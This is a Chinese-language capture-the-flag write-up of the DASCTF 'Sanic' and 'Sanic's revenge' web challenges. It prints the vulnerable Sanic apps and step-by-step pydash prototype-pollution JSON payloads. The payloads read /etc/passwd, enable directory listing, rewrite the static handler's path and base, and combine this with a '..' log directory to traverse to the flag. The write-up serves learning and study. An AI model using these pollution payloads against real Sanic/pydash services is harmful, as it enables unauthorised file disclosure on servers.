Sanic以及Sanic’s revenge DASCTF 七月赛 那一条污染链子一直在看已经看的非常熟悉了,写一下博客
Sanic 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 from sanic import Sanicfrom sanic.response import text, htmlimport sysimport pydashclass Pollute : def __init__ (self ): pass app = Sanic(__name__) app.static("/static/" , "./static/" ) @app.route("/src" ) async def src (request ): return text(open (__file__).read()) @app.route("/admin" , methods=['GET' , 'POST' ] ) async def admin (request ): key = request.json['key' ] value = request.json['value' ] if type (key) is str : print ("key is str" ) if 'parts' not in key: print ("parts no" ) if 'proc' not in str (value) : print ("proc no" ) if type (value) is not list : print ("list no" ) if key and value and type (key) is str and 'parts' not in key and 'proc' not in str (value) and type (value) is not list : pollute = Pollute() pydash.set_(pollute, key, value) return text("success" ) else : return text("forbidden" ) if __name__ == '__main__' : app.run(host='0.0.0.0' )
RFC2068 的编码规则
session这边adm;n用八进制编码绕过
WAF ./
1 __init__\\\\.__globals__
这样转义绕过
src路由存在__FILE__
1 { "key" : ".__init__\\\\.__globals__\\\\.__file__" , "value" : "/etc/passwd" }
污染后可以得到任意文件读取
污染链 这个是Sanic框架
在app.static路由注册的地方
directory_view为True时,会开启列目录功能
directory_handler中可以获取指定的目录
跟进到引用,找到这么一个类
里面有directory:path 和 directory_view
把path改为需要的路径 view改为true即可得到文件
sanic框架用app.router.name_index 获取路由,本地打印一下
1 { '__mp_main__.static': <Route: name=__mp_main__.static path=static/<__file_uri__: path>>, '__mp_main__.src': <Route: name=__mp_main__.src path=src>, '__mp_main__.admin': <Route: name=__mp_main__.admin path=admin>}
所以路由就是
先修改directory_view 属性
1 print (app.router.name_index['__mp_main__.static' ].handler.keywords['directory_handler' ].directory_view)
1 {"key" :"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view" ,"value" : True }
访问/static/,可以看到该目录下的文件
接下来只要污染directory
值就是由其中的parts 属性决定的,但是由于这个属性是一个tuple,不能直接被污染,所以我们需要找到这个属性是如何被赋值的
Path对象里面parts的值最后是给了_parts这个属性
1 {"key" :"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory._parts" ,"value" : ["/" ]}
Sanic’s revenge 这题当时一起打也没想出来,问了问Nama学长,最后也差一个读/app路径内容,前半部分花很长时间想要绕过parts,其实直接app.static(“/static/“, “./static/“)改这里去读文件很快
最后找到源码但是也不知道..如何利用 复现下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 from sanic import Sanicimport osfrom sanic.response import text, htmlimport sysimport randomimport pydashclass Pollute : def __init__ (self ): pass app = Sanic(__name__) app.static("/static/" , "./static/" ) @app.route("/*****secret********" ) async def secret (request ): secret='**************************' return text("can you find my route name ???" +secret) @app.route('/' , methods=['GET' , 'POST' ] ) async def index (request ): return html(open ('static/index.html' ).read()) @app.route("/pollute" , methods=['GET' , 'POST' ] ) async def POLLUTE (request ): key = request.json['key' ] value = request.json['value' ] if 'parts' in key: print ("parts no" ) if 'proc' not in str (value) : print ("proc no" ) if type (value) is list : print ("list no" ) if key and value and type (key) is str and 'parts' not in key and 'proc' not in str (value) and type (value) is not list : print ("yes" ) pollute = Pollute() pydash.set_(pollute, key, value) return text("success" ) else : print ("no" ) log_dir = create_log_dir(6 ) log_dir_bak = log_dir + ".." log_file = "/tmp/" + log_dir + "/access.log" log_file_bak = "/tmp/" + log_dir_bak + "/access.log.bak" log = 'key: ' + str (key) + '|' + 'value: ' + str (value); os.system("mkdir /tmp/" + log_dir) with open (log_file, 'w' ) as f: f.write(log) os.system("mkdir /tmp/" + log_dir_bak) with open (log_file_bak, 'w' ) as f: f.write(log) return text("!!!此地禁止胡来,你的非法操作已经被记录!!!" ) if __name__ == '__main__' : app.run(host='0.0.0.0' )
前面污染到file or directory 可以获取源码
1 2 3 { "key" : "__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view" , "value" : True} { "key" : "__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.file_or_directory" , "value" : "/" } #改上一层的
完整源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 from sanic import Sanicimport osfrom sanic.response import text, htmlimport sysimport randomimport pydashclass Pollute : def __init__ (self ): pass def create_log_dir (n ): ret = "" for i in range (n): num = random.randint(0 , 9 ) letter = chr (random.randint(97 , 122 )) Letter = chr (random.randint(65 , 90 )) s = str (random.choice([num, letter, Letter])) ret += s return ret app = Sanic(__name__) app.static("/static/" , "./static/" ) @app.route("/Wa58a1qEQ59857qQRPPQ" ) async def secret (request ): with open ("/h111int" ,'r' ) as f: hint=f.read() return text(hint) @app.route('/' , methods=['GET' , 'POST' ] ) async def index (request ): return html(open ('static/index.html' ).read()) @app.route("/adminLook" , methods=['GET' ] ) async def AdminLook (request ): log_dir=os.popen('ls /tmp -al' ).read(); return text(log_dir) @app.route("/pollute" , methods=['GET' , 'POST' ] ) async def POLLUTE (request ): key = request.json['key' ] value = request.json['value' ] if key and value and type (key) is str and 'parts' not in key and 'proc' not in str (value) and type (value) is not list : pollute = Pollute() pydash.set_(pollute, key, value) return text("success" ) else : log_dir=create_log_dir(6 ) log_dir_bak=log_dir+".." log_file="/tmp/" +log_dir+"/access.log" log_file_bak="/tmp/" +log_dir_bak+"/access.log.bak" log='key: ' +str (key)+'|' +'value: ' +str (value); os.system("mkdir /tmp/" +log_dir) with open (log_file, 'w' ) as f: f.write(log) os.system("mkdir /tmp/" +log_dir_bak) with open (log_file_bak, 'w' ) as f: f.write(log) return text("!!!此地禁止胡来,你的非法操作已经被记录!!!" ) if __name__ == '__main__' : app.run(host='0.0.0.0' )
问题是需要知道flag文件名字,app目录下
源码中还有一个地方没有利用,写入路径时候存在一个..
log_dir_bak=log_dir+".."
很奇怪的一个地方 ../是可以 但是怎么利用
列出目录的路径是由self.directory这个对象里面的parts和current拼接得到的
这样的的话可以想办法控制current的值,用后面源代码里面的..
可以调试一下,如果current为..的话,即可穿越到上层目录
这一行
1 current = path.strip("/" )[len (self .base) :].strip("/" )
这里就是拼接..的重点部分
现在看如何控制path和self.base
path一开始就是static 访问网页路径可控
self.base是自身属性,需要污染
1 current = *path*.strip("/" )[len (*self *.base) :].strip("/" )
污染base为static/ctf
1 data = { "key" : "__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.base" , "value" : "static/ctf" }
比如path是/static/ctf../ 这样的话base是static current是ctf../
如果控制base是static/ctf 长度是10 ,用上面代码处理后 从path第十起 ../再去除掉/ 就是..
current 就变成了.. 完成了路径穿越
随便触发一个非法记录 例如备份目录名字就叫ddahJ6..
1 2 3 4 5 6 7 8 9 10 11 12 13 14 #开启列目录 #data = { "key" : "__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view" , "value" : True} #将目录设置在根目录下 #data = { "key" : "__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory._parts" , "value" : "/" } #修改默认路径 data={ "key" : "__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.file_or_directory" , "value" : "/" } #构造current #data = { "key" : "__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.base" , "value" : "static/ddahj6" } 这样访问即可看到flag名称
这个题审计调试的地方就多了很多,说实话做的时候还是得慢慢想来慢慢调试
题目嘛肯定很多地方有引导思路的地方
最近在继续看java,还有好多链子要看,不过比赛题目不太好找,更像是学知识点的过程
DASCTF 2024暑期挑战赛-WEB-Sanic’s revenge gxngxngxn - gxngxngxn - 博客园 (cnblogs.com)